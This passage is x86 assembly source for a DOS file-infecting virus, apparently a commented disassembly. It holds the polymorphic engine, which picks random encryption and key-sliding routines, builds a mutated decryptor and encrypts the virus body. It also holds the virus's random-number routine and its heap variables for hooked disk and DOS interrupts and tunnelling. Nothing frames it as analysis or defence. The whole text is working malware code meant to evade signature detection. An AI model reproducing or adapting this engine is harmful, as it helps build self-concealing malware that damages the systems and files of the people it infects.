BP, AX ; BP = runtime delta offset. MOV AX, -1 ; Get random encryption key. CALL Random_AX XCHG BX, AX ; Save it in BX. MOV SI, OFFSET Decryptor ; Static decryptor skeleton. MOV DI, OFFSET Buffer+512 ; Work buffer. CLD MOVSW ; PUSH CS / POP DS MOVSB ; MOV DI, xxxx LODSW ; Last word of viruscode. ADD AX, BP ; Add runtime delta offset. STOSW MOVSB ; MOV AX, xxxx LODSW ; Skip next data word. MOV AX, BX ; Store decryption key. STOSW MOVSW ; MOV CX, Words_To_Decrypt MOVSW ; DEC CX MOVSW ; JS Decrypted_Code MOV AX, 8-1 ; Pick random encryption CALL Random_AX ; algorithm. SHL AX, 1 ; MUL 4. SHL AX, 1 PUSH SI MOV SI, OFFSET Cryptors ADD SI, AX MOV AX, 2-1 ; Get boolean value. CALL Random_AX TEST AL, 00000001b ; Swap encryption and ; decryption algorithm? CLD LODSW JZ Store_Decrypt XCHG [SI], AX ; Swap encryption and MOV [SI-2], AX ; decryption algorithm so the ; next time the opposite one ; can be used. Store_Decrypt: STOSW ; Store decryptor. LODSW ; Fetch encryptor. MOV Encryptor, AX ; Store it. MOV AX, 8-1 ; Pick random key slider. CALL Random_AX SHL AX, 1 ; MUL 4. SHL AX, 1 MOV SI, OFFSET Sliders ADD SI, AX MOV AX, 2-1 ; Get boolean. CALL Random_AX TEST AL, 00000001b ; Use another encryption algo JZ Swap_Boolean ; instead of a key slider? SUB SI, 8*4 ; Index the cryptors. Swap_Boolean: MOV AL, 2-1 ; Get a boolean. CALL Random_AX TEST AL, 00000001b ; Swap sliders? LODSW JZ Store_Slider XCHG [SI], AX ; Swap sliders (or cryptors) MOV [SI-2], AX ; for more randomness. Store_Slider: STOSW ; Store key slider (or 2nd ; decryptor). LODSW ; Fetch mirror slider (or ; cryptor). MOV Slider, AX POP SI ; SI = skeleton decryptor. LODSW ; Skip the two NULL words. LODSW MOVSW ; DEC DI / DEC DI MOVSW ; JMP SHORT Decrypt_Loop XOR SI, SI XOR CX, CX DEC DI DEC DI JMP $+2 ; Flush prefetch que. Encrypt_Poly: LODSW ; Fetch word from virusbody. INC DI ; Go to next one. INC DI MOV [DI], AX ; Store unencrypted word. MOV AX, BX ; AX = encryption key. Slider DW 0 ; Update encryption key. Encryptor DW 0 ; Encrypt word. MOV BX, AX ; Save updated encryption key ; in BX again. INC CX ; Go to next word. CMP CX, (2448-22)/2 ; Did entire virus yet? JNE Encrypt_Poly MOV [Buffer+512+(Init_Decrypt-Decryptor)], AX POP BP POP BX RETN Cryptors: XOR [DI], AX ; Encryptor. XOR [DI], AX ; Corresponding decryptor. XOR [DI], CX ; Encryptor, etc. XOR [DI], CX ADD [DI], AX SUB [DI], AX ADD [DI], CX SUB [DI], CX NOT WORD PTR [DI] NOT WORD PTR [DI] NEG WORD PTR [DI] NEG WORD PTR [DI] ROR WORD PTR [DI], 1 ROL WORD PTR [DI], 1 ROR WORD PTR [DI], CL ROL WORD PTR [DI], CL Sliders: ROR AX, CL ROL AX, CL ROR AX, 1 ROL AX, 1 NOT AX NOT AX NEG AX NEG AX ROR AH, CL ROL AH, CL ROR AL, CL ROL AL, CL ADD AH, CL SUB AH, CL ADD AL, CL SUB AL, CL Decryptor: PUSH CS POP DS MOV DI, 2448-2 MOV AX, 0 Init_Decrypt = WORD PTR $-2 MOV CX, (2448-22)/2 Decrypt_Loop: DEC CX JS $+10 DW 0 DW 0 DEC DI DEC DI JMP Decrypt_Loop ; More junkbytes I can't seem to decipher. DB 0BCh, 09Bh, 09Ch, 097h, 09Dh, 09Fh, 08Ch DB 09Bh, 09Ch, 0E0h, 08Ch, 091h, 0E0h, 0BFh DB 0AEh, 0BDh, 0AAh, 0D2h, 0D2h, 0D2h, 0E0h Random_AX: PUSH CX PUSH DX PUSH DS XCHG CX, AX ; Save max_value in CX. XOR AX, AX ; Zero DS. MOV DS, AX MOV AX, DS:[46Ch] ; BIOS tickcount. PUSH CS POP DS ADD AX, Random_Seed ; Randomize values. ROR AX, 1 ADD Random_Seed, AX ROR AX, 1 XOR AX, Random_Seed XOR DX, DX INC CX ; Asking for just a random #? JZ Exit_Random_AX ; Then use the random # AX. DIV CX ; Divide random value by ; max_value. XCHG DX, AX ; The remainder is the random ; in range number. Exit_Random_AX: POP DS POP DX POP CX RETN ; Virus' heap variables. FAR_JMP = BYTE PTR $ FAR_JMP_IP = WORD PTR $+1 FAR_JMP_CS = WORD PTR $+3 Old_Int01h = WORD PTR $+5 Real_Int13h = WORD PTR $+9 Old_Int13h = WORD PTR $+13 Real_Int21h = WORD PTR $+17 Old_Int21h = WORD PTR $+21 Real_Int40h = WORD PTR $+25 Old_Int40h = WORD PTR $+29 Start_MCB = WORD PTR $+33 Return_Address = WORD PTR $+35 Tunnel_Mode = BYTE PTR $+37 Step_Count = BYTE PTR $+38 File_Header = WORD PTR $+39 Buffer = WORD PTR $+63 END START